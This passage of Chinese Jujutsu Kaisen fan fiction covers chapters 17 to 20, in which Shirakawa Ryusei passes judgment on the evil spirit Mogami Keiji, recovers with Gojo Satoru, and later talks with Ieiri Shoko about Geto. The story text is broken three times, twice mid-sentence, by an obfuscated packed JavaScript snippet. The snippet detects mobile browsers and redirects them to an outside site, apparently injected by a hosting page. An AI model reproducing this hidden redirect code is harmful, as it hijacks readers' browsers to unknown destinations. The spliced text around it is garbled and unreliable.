就连河水的流动也是悄无声息的,风似乎不小,但衣物和皮肤没有感受到一点,反而是灵魂像一直敞着口,被风不断地穿过。 不过,感觉并不难过,内心反而十分平静。 “生得领域?是这个吗?”白川琉世眼睛亮了起来,“那我是不是很快就能领域展开了。” 五条悟没办法反驳,琉世的能力太过唯心,还是让他相信这是生得领域比较好。否则,这个奇怪的空间如果一下子消失,最上启示岂不是要跑了。 五条悟:“生得领域是人的精神世界在现实世界的表现,所以说,这是黄泉津比良坂的样子?” 白川琉世:“真的假的?所以说我和黄泉津御命是什么关系。” “理子不是都告诉你了,你就是黄泉津本人啊,神的灵魂在人间的转世,嗯,挑一个自己喜欢的肉身进去那样。” “那我原来的灵魂呢?” “你原来的灵魂就是黄泉津的灵魂,这点很难理解吗,琉世?”五条悟矫揉造作地捏着嗓子,“神様~。” 完了,好像体会到了获得奇怪外号的普通男高的心情,这种尴尬的外号不会在高专流传开吧? 白川琉世心一横,“神子大人。” 五条悟:“……。” 那种尴尬的感觉是怎么回事,而且他辈分忽然低了一辈啊! 两人对视了一眼,达成共识,决定封存这两个称呼。 挺震惊的。不过发生在他身上的怪事不是一件两件了,自己是神这种事也没有太过令人惊讶。 “那天,你喝醉的事还记得吗?”比起这个,他更在意那时听到的话,“你叫我卡密,说起来,第一次见面,你也脱口而出这个词了吧。为什么第一眼就能看出来我的不同,难道是因为六眼吗?” 这个倒是和六眼没有关系,但五条悟没办法说,自己曾梦到过黄泉津御命这样的话。那岂不是要告诉白川琉世,他自己好像也是菅原觉的转世么? 想起千年后还流传下来的“私情”,五条悟噎住了。 不过,还没想到要怎么说,对方就自己转移了话题。 “对了,那家伙,”白川琉世并未转身,伸出食指向后面指了指,“是不是折磨你了?” “哈,就他?”在战力上,五条悟从来不嘴软,“搞了一个给小孩子看的睡前动画,还自称最强,被老子分分钟识破了。” “不用勉强,悟。在这个空间里,我能感受到每个人的情绪。” 所以,你不想说的话,没人能强迫你说。你无法说出口的感觉,也完全能被体会到。 18. 第 18 章 人类最基础,最本能的情绪是什么? 喜悦、愤怒、悲伤、恐惧。 不,当然不是。 人类从诞生就本能拥有的唯一情绪,只有恐惧。 对存在的恐惧。 而后衍生出的喜悦,悲伤,愤怒,失落,嫉妒,憎恨,幸福……全都扎根于最原始的恐惧中。 …… 白川琉世什么也没说。 他把食指竖在嘴边,做了个嘘声的姿势,黄泉瞳与六眼对视,眼中的温柔完全传达到五条悟心里。 五条悟轻笑一声,“你这家伙。” 那种因为特别在意营造出的分寸感,完全不像这么大大咧咧的人能做到的。但是,琉世就是这么一个细心的人。 就像上次见面,他喝醉后醒来,因为六眼很敏感,马上察觉到了屋子里属于别人的咒力残秽。残秽出现的地方,只存在于五条悟清醒时,看到白川琉世接触过的地方,以及他床铺上的一些。那些微弱的残秽,胆子小小的,只浅浅地沾了一点,似乎打算随时逃跑。 还有,那个笨蛋赔了他一堆糖,堆成了一座小山,就算他消耗甜食的速度很快,也吃不完吧。 最上启示:……。 算了,与其看这两个对视的家伙,还是抬头看看月亮吧。 这月亮可真月亮啊。 “好了,现在来解决你的事。” 最上启示无语的情绪明晃晃地悬在白川琉世头顶,少年在瓦砾堆上站起来,看着黑色的锁链紧紧捆着的邪灵。 那些锁链随着他的念头生长,轻松地束缚住了强大的邪灵。几分钟前,他还像面对一块电脑屏幕,因为没有鼠标,不知道怎么把文件拖入回收站。而现在,他直接伸手一拽,发现原来是触屏。 阴差阳错发现难如天堑的事如此简单。 “我没有什么好说的,随便你处置。” 最上启示一脸无所谓。 被称为最强灵能力者的他,在母亲死后,精神崩溃,到处吸收恶灵,然后自杀。 那之后的日子,他以邪灵的身份,完全以向人类复仇的目的肆虐人间。 本来只是路过这里,发现这里咒灵的气味很浓。作为邪灵,他的食谱里同样有因为负面情绪产生的咒灵,但一进入村子,就发现自己的移动范围被限制在了村子内。 附身在小女孩理子身上,他很快就发现是村子旁边的神社搞的鬼。在最上启示作为邪灵的无聊一生中,不是去吃恶灵和咒灵,就是在报复人们,把他们耍的团团转,顺便害死几个人。遇到这种有趣的事,他并没有打算第一时间破坏神社。 吸收源源不断产生的咒灵,玩弄村民,吸引上门的咒术师和灵能力者,并把他们杀掉,本来是最上启示最近的乐趣。 但是今天的咒术师是个意外,他马上就察觉出了,其中一人有着六眼,那是最近十几年大家鼓吹的另一个最强。 于是他改变了主意。 他想要去触碰另一个最强的人生。 “喂,最上。”白川琉世在神龛底下向他招手,“那个出资建立神社的人,和你有什么关系?” “没有关系。”拥有败者的自觉,最上启示没有隐瞒的必要。 “你对脑袋上有缝合线的人有印象吗?” “没有,那是理子的记忆。” “啊,那要问问理子了,还要拜托辅助监督去调查。”白川琉世小声和五条悟交换着信息,“说起来那个额头有缝合线的人,我总觉得自己见过,但是想不起来了。” “不知道硝子治不治记忆力减退。” “有可能是年代太久远了,那时候我太小了。” “难道那是什么千年老妖怪?这下问题可大了,琉世。” “是啊,总觉得那个额头上有缝合线的人,像是最终BOSS。最上那家伙,地位差不多就是疾风传里的大蛇丸吧。” 五条悟:“比大蛇丸强那么一点啦。不过,他死的时候,《火O忍者》都还没连载吧。” 白川琉世:“就算生活在现在,这种人也不像会看漫画的样子。” “是啊。”五条悟附和,“一看就没有朋友,太阴暗了。” 白川琉世:“我们背后这么说别人是不是不太好?” 五条悟:“诶,是当面说的,只是他听不到。” 最上启示看到白川琉世和五条悟在那嘀嘀咕咕,不知道在说什么。 无可争议的最强,和拥有深不可测潜能,总有一天能站在最强身边的神明。 “嫉妒就算了,但是不可以演变成憎恶。”白川琉世警觉地抬头,“别着急,这就解决你的事,放心吧我一定给你安排的明明白白的。” “不要随便侵犯别人的隐私!”最上启示怒斥白川琉世。 “你更没资格说这种话,把别人记忆翻了个遍的家伙。”五条悟向白川琉世寻求认可,“对吧,好恶劣的。” “太差劲了。” “所以琉世要怎么做呢?” 能体会到灵魂的价值,并认可他们,他才能构建出这个空间。因此…… “我想,对最上的判决需要满足某些规则,不能随意处置他……喂!听得到吗,最上。” “啰嗦!” “你想要被怎么处置,我想听听你的看法。” “都说了随便你,杀掉或者折磨一遍再杀掉,随便你。” “确实可以,不过,好像还有其他的路可以走。”白川琉世伸出食指,“一,就这么被我消灭。” 最上启示没有如白川琉世想象般那样,脱口而出我选一。 “对下面的选项感到好奇吗?确实,你的罪孽一死了之也太便宜了。”他进一步伸出中指,“二,沿着这条河,进入黄泉国,投胎转世。因为你的罪孽太过深重,不管以后以什么姿态重新回到人间,都要生生世世地还债,没有幸福可言,直到还完全部的罪孽。” 白川琉世感觉到,从最上那里传来的情绪,只有浓重的麻木,还有一点微不可查的恐惧和悲伤。 “三…。” 白川琉世接着伸出无名指。 被途经冥河的风刮过灵魂,仿佛一切都没有秘密可言。五条悟看着白川琉世的侧脸,神明举着手,对邪灵进行审慎的判决。 “……和我定下约定,去找到所有被你伤害过的人,如果他们已经去世,就找到他们所爱的人,靠自己的力量重新让他们感到幸福。直到黄泉津比良坂承认你,你就能经过这里,前往黄泉,以一个普通人类的灵魂投胎转世。” 无论因为任何原因,天灾、人祸、无意为之、蓄意谋划,伤害一旦产生就无可避免,受到伤害产生的痛苦,会变成一份份业力,纠缠着加害者和被害者。 没有人的痛苦能被轻而易举地一笔勾销,也没有人能替他们原谅罪魁祸首。神也无法绕过那些痛苦擅自评判什么。 不过,受到伤害的人,感受到痛苦的人,或许依然能够体会到幸福。 “尽你最大的努力,想尽一切办法,让他们感到幸福吧。如果做不到,就一直留在人间赎罪,这么努力下去。最上,一死固然轻而易举,但逃避总是令人遗憾啊。” 最上启示哽住了,他被锁在高大的神龛上,倒也符合有时想到的自己的结局。回顾一生,尽是荒唐的事,似乎总是无法做出正确的决断,也无法抓住幸福。当在错误的道路上越走越远,回头也就成了想想就令人发笑的事。 最上启示笑了,“你的偏向性也太明显了,是有私心吧。” “这家伙也好意思这么说。”五条悟大声抱怨着。 白川琉世感受着最上启示汹涌的情感,有些是他从未感受到的,比如三分讽刺三分痛苦三分悔恨一分凉薄,好像空气中突然铺满了扇形图。 “琉世,你刚刚说的……。” “嗯?”白川琉世紧张地看向五条悟,“有哪里不好吗?” “太酷了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325638|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五条悟伸出三根手指,比了个独特的“yes”,“真是远超老子的想象。” 正因为白川琉世的审判,完全不像世俗意义上的“神明”,他才会觉得超帅的。 “哈哈,真的吗?”感到不好意思,白川琉世遮掩般的大笑起来。 在这里没有秘密可言,五条悟知道这回事。但是,藏着掖着自己的感情不是他的风格。脸上没有墨镜和眼罩,他扇动着银白色的睫毛,苍天之瞳望向白川琉世的眼睛。 如同刚把最上启示赶出身体时,他各种纷乱的情绪,都被少年满是温柔的眼睛接住。此时他也这么安静地看着对方,虽然没说什么话,但那个敏锐的家伙早就察觉到了吧。 最上启示:……。 真烦啊,这两个家伙,怎么又对视上了。 “我选C。”他忽然自暴自弃地说。 神金,遇到这两个人真算他倒霉。 “你可以考虑久一点,或者干脆刚才就回答。”白川琉世一挥手臂,“再见吧,我就不送了!” 最上启示感到束缚自己的锁链消失了,神龛、河水以及天空都逐渐褪色、飘散,他的灵魂也在迷惘中飘向远方。 他选了一条最艰难的路,一条神或许也无法做到的路。 “喂,最上。”最后,他听到那个少年的声音,“别这么消沉,至少要加把劲啊!” 哈。 真的好啰嗦。 …… 两人从瓦砾堆上下来,白川琉世下的那个帐依然存在着。 “理子,理子?” 两人叫着理子的名字,最上启示附身五条悟后,并没有在意理子,因此理子应当并无大碍,或许依旧在某处昏迷着。 “我在这。”一道微弱的声音响起,理子从废墟后冒出头来。 领域消散后,白川琉世已经无法直接感受到对方的情绪,但身旁五条悟骤然快乐起来的情绪,是再迟钝的人也能感觉到的。 两个少年跑到理子身旁,白川琉世把女孩从废墟里拉上来,“身体没事吧理子。” “我没事,神様。” 白川琉世:“……。” “噗哈哈哈。”五条悟把手放在理子头按了按,“说得好,理子。” “不要这么叫我,我的名字是白川琉世,他是五条悟,”他弯下腰看着理子,“要记住哦。” “白川sama,五条sama。” “没有sama!随便叫我喂都没关系,不要叫这个。”白川琉世差点说我求求你了。 “叫琉世哥哥就行。”五条悟屈膝,同样弯腰看着理子,“至于我,叫悟就可以。” 白川琉世也迫不及待把手放在理子头上按了按,“魔鬼已经被哥哥们赶走了,你的妈妈和村子里的人也会恢复成原来的样子,回家吧理子。” “可是妈妈还在警局,这要怎么办呢?” “那个不用担心,你妈妈很快就会回家的。”五条悟侧过脸对白川琉世小声说,“战损,对村民的心理辅导,还有和警局的交涉,事后会有辅助监督进行。” “这么好。”白川琉世有种只要“战斗,爽”,别的都可以丢掉脑子的舒适。 “对了,理子,”五条悟不忘这件事中,那个至关重要的人物,“那个出资建立神社的,额头上有缝合线的人,你还有什么印象吗?” 理子回忆起来,“那个人……,我也只见过一面。是个短发的夫人,大概三十多岁,也可能二十多岁,我们没有说过话,其他的,我就不知道了。悟哥哥,我可以帮忙问问村长爷爷。” “没关系,这种事我自己解决就好了。那么,理子,我们送你回家吧。” 三个人决定先回到村子里,最后,五条悟放轻声音。 “理子……你的全名叫什么?” “早川,早川理子。” “早川理子。”五条悟对女孩露出明快的笑容,“以后要幸福地生活下去啊。” 19. 第 19 章 凌晨3:35。 “咒力,已经一点都没有了。” 五条悟不知道从哪里掏出了一副新的墨镜戴上,抬手时,牵动了脖颈上的伤口,疼得他一阵呲牙。 真是好久没受过伤了。 两人送理子回家,慢慢走在下山的路上。理子热情地留他们做客,但被两人婉拒了。“走下山正好天亮,然后给辅助监督打电话,老子要赶紧回去睡觉。”五条悟是这么说的,白川琉世也没有意见。 “你的伤没关系吧,对不起,那是我打的。”白川琉世直接拉住五条悟的手腕,因为对方没有咒力,没办法使用无下限,因此下意识的动作并未受到阻拦。 手腕的尺寸是……,白川琉世在心中默默计算。 腕骨这个位置,摸起来对骨骼的感触大于肌肤,这个部位真的很神奇,明明尺寸纤细到用拇指和中指就能圈住,但握住却感觉能掌控另一个人行走的方向。 “让我看一下吧,悟。” 五条悟硬生生停住脚步,一瞬间,白川琉世也松开了手。 “没什么,你又不是硝子,没办法治好它,看不看有什么关系。”五条悟的声音有些黏糊,“快点走吧,老子的大脑现在非常缺糖分。” 遭到了拒绝,白川琉世不再有异议,耷拉着脑袋,沉默地走在前面。 五条悟反而莫名遭到了良心的谴责。 “那就看一下吧。”他反过来拽了一下白川琉世的手腕。 虽然又马上松开了,但是,白川琉世好像听到出门散步的小狗,一下子快乐起来了。 五条悟拉开立领的拉链,把左边的领子往下一压。白川琉世打开手机手电筒,凑近要检查的地方。脖子和肩膀相连的地方,有一道深紫色的淤青,看得出来是用全力打下去的。 “对不起,我自己下的手我知道,一定很痛。” “是最上启示太菜了,无下限都用不好。” “你说得对。啊!” 正照着亮的手机嗡地一声自动关机,白川琉世叫起来,“糟了,手机没电了。” “老子的也没电了。”五条悟马上掏出自己的手机,按了一下,也毫无反应。 “还好我带充电器了,要先下山再想办法充电。” 这么一来,“看伤口”这种事也不能再继续下去,五条悟自然地拉上拉链。 “悟,你能看到路吧。” “琉世,老子只是没有咒力了,不是瞎掉了。” 白川琉世被自己逗笑了,尴尬地笑了几声。 “悟。” “嗯?” “我总有点疑惑,刚刚我搞出的那个东西,真的是生得领域吗?” “你自己应该更清楚。”五条悟想了想,“生得领域是术师精神世界的具象化,但是琉世,以你现在的咒力,算是术师吗?” “你怎么说和夏油前辈一样的话。”虽然从来没在意过咒力的问题,但被五条悟说出来还是有些失落。 “笨蛋,你想什么呢。老子的意思是,其实你想的没错,刚刚那个东西可能并不是生得领域。” “不是生得领域?难道我直接领域展开了?我就说嘛,能一下子把最上锁起来,更像是更强的招式。” “谁知道呢。”五条悟想起古籍上的记载,“不管是术式还是领域展开,都是以咒术师为基础的能力,琉世,你的能力应该是一种不同于咒力的能力,姑且叫它神力吧。” “说的那么中二…。” “你本身的存在就很匪夷所思了。”五条悟大手一挥,往白川琉世背后一拍,“不要打断老子!” “是!”白川琉世马上回应。 只是,无意间的身体接触,是不是越来越多了? “刚刚构建的空间,应该是你的神力发挥了作用。但是,你不是同样有个唯心的能力吗?唯心的力量让从小就接触咒术界知识的你,潜移默化用咒术师的方式改造自己的力量,所以构建出了一个''领域''。但是你并不知道咒术师的领域如何构建,如何展开的,那个''领域''只是你根据想象模仿出来的吧?” 家传的记载在白川琉世身上都能对应上,这让五条悟觉得自己推测的方向没有错误。 “啊?这么复杂?我当时确实什么也没想,感觉就像是一种本能。”白川琉世顿了顿,心头又涌起一种奇怪的感觉,“你说的有道理,力量就是力量,如果它没有被使用的出口,那需要人为的创造出一个。” 他能感觉到,自己的力量被藏了起来,曾经怎么都触摸不到的东西,经过这次领域的构建,好像“松动”了。 白川琉世把自己的感觉告诉五条悟。 “老子早就知道,你拥有潜能。” 拥有能追上他脚步的潜能。 自从第一次看到白川琉世,看到那张不可思议的,熟悉又英俊的脸,就算一向叛逆不喜欢听风就是雨的五条悟,也下意识生出了这样的念头。 …… 运气很好,在天有点亮的时候,两人都到了山下。按照季节来推算,时间大概在五点到六点之间。不巧的是,村子下面只有一个站台,沿着站台走了十五分钟,才看到一个小镇。 镇子里有24小时营业的便利店,白川琉世推开便利店的门,询问店员是否能给手机充电。 “这里有插座,客人。” “好的,谢谢。” 五条悟一进门就坐在了店里的桌子旁,大声说着饿,不,不仅是饿,还有渴和累。白川琉世给手机充上电,要了一些关东煮,拿了几个饭团,去货架另一边挑了一下,又拿回了两个红豆面包,两瓶能量饮料。 “这个给你。”他把东西堆在小小的圆桌上,把红豆面包和饮料推过去,“我吃过这种面包,超级甜,吃这个绝对能补充糖分。” “来不及的时候,这种面包也算应急食品。”五条悟撕开包装,一口咬下去。 “要吃关东煮吗?” “不要。琉世,你是咸党吗?” “包咸党的。”一手饭团一手关东煮的白川琉世,“我连饭团都只喜欢吃酱油味的。” 五条悟长长地“诶”了一声,语气远远算不上失落,但其中惊讶的意味,让白川琉世觉得凳子上仿佛生了针。 “不过,我会做甜的红豆饭。”他仿佛露出了什么短板,想找机会证明自己,“我超会做饭的,之前住山里,还会用柴火做呢。” “没有讨厌咸的食物哦,只是吃甜食更能补充能量,久而久之就习惯了。” “我知道有个地方的甜品很受欢迎,下次如果出差去那里,我会给你带。” “那不要忘记买……,嗯,也不需要买太多,普通一人份的就够了。” “所以那次的糖给你造成了很大的困扰吗?” “当然……,”拖长了音调,看白川琉世忽然变得紧张的脸,五条悟接下一句,“没有啦。不过琉世,你现在还是四级咒术师,要出差恐怕有难度。” “对啊,我忘记了。” 不过没关系,就算不出差,也可以专门去一趟那家店。 却倒是随时都可以去,但以什么理由送出去呢?白川琉世,先冷静一点,接下来的事隐约有种要把握不住的感觉。 光辉从云边洒下,远处天空映照出一片粉紫色的朝霞,早晨的时候,云是暖的,但光线还不是很强烈,和着寒风,呈现出明净清冽的氛围。窗户外的街道上,已经有早起的人陆续经过,每个人都带着一天中最旺盛的朝气。通常这种时候,白川琉世从紫藤花屋里醒来,会早早地练习挥剑,然后劈柴,烧水,做饭,看书。他比谁都要清楚,这种时刻人的脑子是最清醒的。 所以他现在应当是非常清醒的。 两个个子很高的少年,面对面坐在小小的圆桌上,双腿挤在桌下,不可避免地碰到了一起。五条悟随着白川琉世的视线,也在看着朝霞,不知道六眼眼中的朝霞,和普通人眼中有什么区别?白川琉世的眼神移回同伴的脸上时,对方也将目光收了回来。 “琉世,你没有什么要问的吗?” “什么要问的?” “你身上那些谜团,问的话,说不定会有隐藏掉落。” “有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325639|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点不想知道,总觉得知道了之后,要面对的东西就更多了。” 五条悟轻笑出声,“得到力量之后,也要付出相应的责任,你是这种类型的人吗?” “要看具体情况。”白川琉世嚼着关东煮的棍子,眼睛看向右上方,“我觉得无论什么事都要看具体情况的,这个很重要。举个例子,如果最上启示把自己的性命和普通民众的放在天平的两端,我有机会肯定会直接杀了他,而不是为他寻找一个赎罪的机会。” “你也是大义那一套吗?”五条悟想起刚见到理子时,白川琉世本能般的前去施救。 “不算吧,大义这个东西太重了,我背负不动。”白川琉世想起夏油杰,“大概是,像个大家认可的好人一般善良,但也尽量不去苛责自己的无能和软弱。” “琉世,你的心理状况太平稳了,简直不像咒术师。” “明明是夸奖,但是莫名其妙感到了挫败。” “都知道自己是神的转世了,难道不会去想一些天上天下,唯我独尊的事吗?” 白川琉世脸色爆红,“不要在便利店说这种话,别人会认为我们中二没救了。” “所以你对这句话有什么意见,天上天下……。” “啊啊啊,”白川琉世猛的起身撞上了桌沿,然后轻轻坐下,对店员讪笑,“撞到脚趾了,不好意思。” 五条悟:“……我一直以为你是个厚脸皮。” “拜托,那也要有个限度。”白川琉世压成超绝低音。 “所以你对你成为神这件事不感兴趣吗?” “我如果晕在这,你负责背我吗?” 五条悟终于没忍住,大笑出声。 店员是个年轻的女孩,刚才就时不时把目光投向这,应该是五条悟太过帅气了,这点白川琉世毫不意外。此时此刻,五条悟的笑声传来,她正脸色泛红地望向这边。 白川琉世叹了口气,好像终于体会到了高专的大家所说的五条悟的恶趣味。 “关于黄泉津的事,我也不可能一直逃避,但是现在不是合适的谈话时机。” 五条悟一脸我懂我懂的表情,“琉世也是有包袱的啊。” “那只是普通人的自尊心吧,你这家伙比我这个山里出来的还要不在意别人的眼光。” “如果这么说的话,”五条悟毫无负担地说,“那老子家也是山里的。” “……。” 白川琉世张了张嘴,最终决定还是给嘴里塞个饭团吧。 手机充了半小时电,白川琉世觉得可以了,打算向辅助监督打电话。他没有相熟的辅助监督,平时手机里也没记下曾经合作过的,问五条悟要电话号码,那家伙只说,这种事没人会记得。 不得已,白川琉世打给了……一看就很靠谱的七海。 “我会给你们联系的。”七海的语气平静,但平静中的怨气像吃了十个特级咒灵,“但是没有下次了,手机没电,无法联系辅助监督这种错误都能犯,咒术师果然……。” 七海好像一直以来都有很有素质地冷着脸说脏话的习惯,见势不好的白川琉世,及时挂断了他的电话。 不过,在本市恰好有辅助监督有空,可以把他们捎回东京。半小时后,两人看到了辅助监督似乎永远同一款式的黑色轿车。 “两位慢走。” “欢迎光临。” 和悟一前一后走出便利店的门口,白川琉世身旁擦肩而过了一个披着袍子、戴着帽子的女人,在她走向货架挑选东西时,因为穿着有些奇怪,白川琉世下意识回头看了一眼。 “琉世?” 听到五条悟的催促,他很快收回了视线。没什么好奇怪的,现在的社会怪人很多,就连他也是天天背着剑袋到处跑。既然五条悟没有看出什么,那就不是他们该操心的事。 “刚才在看什么,东西落下了?” 两人坐在后座上,辅助监督发动车辆。 “啊,没什么,只是觉得有个人穿得很奇怪。” 那个袍子,是袈裟吧?穿袈裟的女人,这种搭配确实挺稀奇的。 20. 第 20 章 白川琉世被同学进来的声音吵醒时,已经下午四点了,他礼貌性地动了动,又觉得起床不太值得,头一歪又睡过去了。 伊地知:“……。” “白川,你的作业我带回来了。今天怎么叫你也不起来,我替你请了一天假,夜蛾老师同意了。” “嗯?”白川琉世茫然地从枕头上抬起头。 啊对,他现在已经是个需要按时上课的学生了。 “谢谢你,不过作业不用拿给我了,反正我也不写。” 伊地知:莫名其妙替夜蛾老师血压升高了。对这个大只的同学,他已经没办法升起一点敬畏之心了。 从岛根县回来后,他和五条悟就失了魂一样回到自己的宿舍里。任务做得很快,两天一夜就解决了,但两人也实打实折腾了两天一夜,在车上也没法好好休息,因此见到床铺格外亲切。 白川琉世一觉从昨天下午睡到了今天下午。 谁懂啊,经过长时间劳累后,在一个绝对安全舒适的地方大睡特睡狂睡睡到自然醒是一件多么爽的事情! 从床上坐起来,就看到他的超人同学伊地知为他带来了作业和晚饭,另拿着一叠专门写任务报告的纸,神色忧愁,“五条前辈说,这次你们俩的任务报告要我来写。白川,任务的具体情况能给我说一下吗?” “要你来写,为什么?你没有去啊。” “五条前辈说,我长着一张看起来很会写报告的脸。” “啊,这么一说还真…啊不是,这种刻板印象是不是还挺伤人的?” 白川琉世在伊地知的满脸沉默中看到了肯定。 “那给我写。”白川琉世把那叠纸抽出来,放在床头,“写完了,我写上我的名字,你再把它交给悟。” “白川,这样可、可以吗?五条前辈看起来很恐怖…。” “你胆子太小了,看谁都恐怖。要替他写任务报告的话,等你什么时候做了他的辅助监督再说吧。” 兄弟觉得自己说了个很聪明的俏皮话,直到看到伊地知满脸的心如死灰。 “哈、哈哈,这种玩笑是挺吓人的哈。”他悄悄从床上爬起来,不敢惊动看起来已经碎了的伊地知。 好在伊地知一直都很专业的样子,马上从打击中走出来,“白川,趁着天还没黑,去找硝子前辈治疗一下吧。” “治疗什么?我哪里……。”他看着自己没穿衣服的上半身,上面不少最上启示用五条悟的身体揍出来的青紫。 “这都没破皮,找家入前辈会不会打扰她?” “但是一按很痛吧,我觉得最好处理一下。” 还是不怎么在意这件事,但是忽然想起来五条悟的伤不知道有没有处理,白川琉世几下穿上了衣服,“你说得对,我去找家入前辈。” 伊地知在瞬间就空了的房间,看着自己带过来却无人问津的晚饭沉默。他好像一直都搞不懂白川脑子里在想什么。 如果早知道这次的劝说会导致白川反手拜托他去偷去年的任务报告,他真的会宁愿白川自己挨痛的,真的真的! …… 家入硝子是每个校园传说中都有的,波澜不惊的大姐大。 这是白川琉世自己封的。 硝子拍了他一下,他自己也不在乎的小伤就完好如初了。治好了之后他也没走,倚在女生宿舍三楼的露天栏杆上吸硝子的二手烟。 没有故事的女同学·家入硝子听到后辈的询问,不知道他在发什么癫,“悟为什么要来找我治疗?” “当然是因为受伤了。” “哪里,心灵吗?” 白川琉世一脸你好没同学爱的表情。 表情总是淡淡的家入硝子,有一张甜美类型的脸,“我见过他了,一点问题都没有。而且,谁能让他受伤?别开玩笑了。” “就这里,有淤青。”白川琉世往脖子附近比划着。 “嗯?你还不知道吧。悟也会反转术式,不过他只能治疗自己。” “啊?”确实很让人惊讶,但是,“当时,也可能是悟没有咒力了,反转术式的发动也需要咒力吧。” 家入硝子的眼神变得更加无语了,但显然,令她如此的对象并非白川琉世,正义的女同学戳破了五条悟的谎言,“那个家伙的咒力操控非常恐怖,已经能做到恢复和消耗持平,无下限术式可以全天24小时开启,不存在咒力用完的情况,所以说,悟在作弄你。” 有些恶劣了,对吧。家入硝子从心里这么问,转头看向后辈,却发现白川琉世不知道在想什么,半天不说话,一只脚在地上蹭来蹭去,而且,好像还脸红了? 这对家入硝子带来了很大的精神污染。 “咳、咳咳。”老烟枪被呛到了嗓子。 …… 咒高临近傍晚的下午一向很难熬,这个时间很尴尬,吃晚饭还早,又没时间专门去做什么,白川琉世决定向家入硝子请教怎么学会反转术式。虽然听说反转术式很稀有,但一个两个好像都会,他也有点心动了。 他握紧拳头,燃起了进步之心,重生之从反转术式开始的咒术总监,堂堂连载! “这个也不难。”家入硝子夹着烟,双手在空气中形象地挥舞出弧度,“咻——地一下,然后嘭、嘭,就好了。” 白川琉世:? “还可以讲的更清楚一点吗,家入前辈。” “那你能告诉我,你为什么能3秒钟跑完50米。” “……嗯,直接跑就行了啊。” “所以说,这对我来说是本能。”硝子重新倚回栏杆上,“反转术式这种东西,更多是靠缘分。” “那悟是怎么学会的?” “靠他自己。” 在指间升起的淡蓝色烟雾中,家入硝子看到夏油杰经过一楼的空地,拿着换洗衣物,向男生浴室走去。她许久未见的男同学,比上次见面还憔悴了一些。 “是夏油前辈,好久没见到他了。” 白川琉世凑到家入硝子旁边。 “去年,悟和杰一起出任务,悟差点死了。”骤然吵闹的蝉鸣击打着家入硝子淡定的神经,“因为再不学会反转术式,他真的会死,所以学会了。” 白川琉世听出了这句话沉甸甸的重量。 “什么时候的事?” “去年夏天,好像是那个保护星浆体的任务。” 知道旁边的人很担心,家入硝子补充,“那之后,这家伙就是实至名归的最强了。” 在声声起伏的蝉鸣中,家入硝子盯着自己另一个男同学,一楼的夏油杰遇到了路过的七海,笑着打了招呼,七海经过后,又恢复了面无表情的神色。 内里的腐烂逐渐延伸到外表,粉饰太平的表面也逐渐遮挡不住了。 那次的任务过去,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325640|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像对谁都没有什么影响,硝子也很快把它遗忘了。 只是以后,悟和杰一起胡闹的次数越来越少,悟依旧说“因为我们是最强”,但杰渐渐不再附和,也不再谈论“正论”“大义”。 时间流逝,他们升入了三年级,走到了青春的尾巴,等今年过去,很快就要开始工作。人本身就是一直在变的,夏油杰的变化在这个人均疯子的咒术界,并没有让家入硝子感到奇怪。 因为大家都疯得千奇百怪,百家争鸣。 然而,没有亲自参与星浆体任务的家入硝子,看着夏油杰恍惚的背影,倏然察觉自己忽略了一件事。 濒临死亡的是五条悟,亲眼看到任务目标死亡的是夏油杰。 不会吧。 家入硝子走了会神,烟头积了长长一截灰。 杰这个家伙,神经纤细到因为这个感到崩溃,然后走不出来吗? 但是,在这样的地方,更容易碎掉这点,也不会变成被重视的理由啊。 真傻啊,杰。 “家入前辈,要烧到手指了!” 被大嗓门后辈叫魂一样叫回来,家入硝子把烟头按灭,扔进垃圾桶。 “不会烧到的,吸烟者的食指、中指这个部分,”家入硝子比划了下第一指节附近,“比厨师的手还耐烫。” 没想到听到冷笑话的白川琉世,一边叫着斯国一一边捧场地鼓掌。 “要来一根吗?” “啊,我还没参透喝酒,烟就先不必了。”白川琉世汗流浃背了,“抽烟是会得肺癌的,别人就不必说了,总觉得我自己抽了百分百会得。” “我作业还没写完,先回去了,前辈,”拙劣地找了个借口,白川琉世脱身告辞,刚转过去却忽然想起了什么,叫住家入硝子。 “前辈,直筒短裙真是超级适合你。” 今天恰好穿直筒短裙的家入硝子露出微笑。 不过,这里倒是有个精神状态平稳的不像咒术师的一年级。 …… [任务编号:SXXX2006060709 任务等级:特级 执行日期:2006年6月7日-9日 执行人:五条悟(一级咒术师)、夏油杰(一级咒术师)] “一级?看来悟和夏油前辈升上特级也没有多久嘛。”白川琉世把封着的半透明文件夹举到窗边,透过阳光看里面的字。 “白川,我以后不会再帮你做这种事了。”伊地知推了推眼镜,眼神却忍不住往窗口瞄。 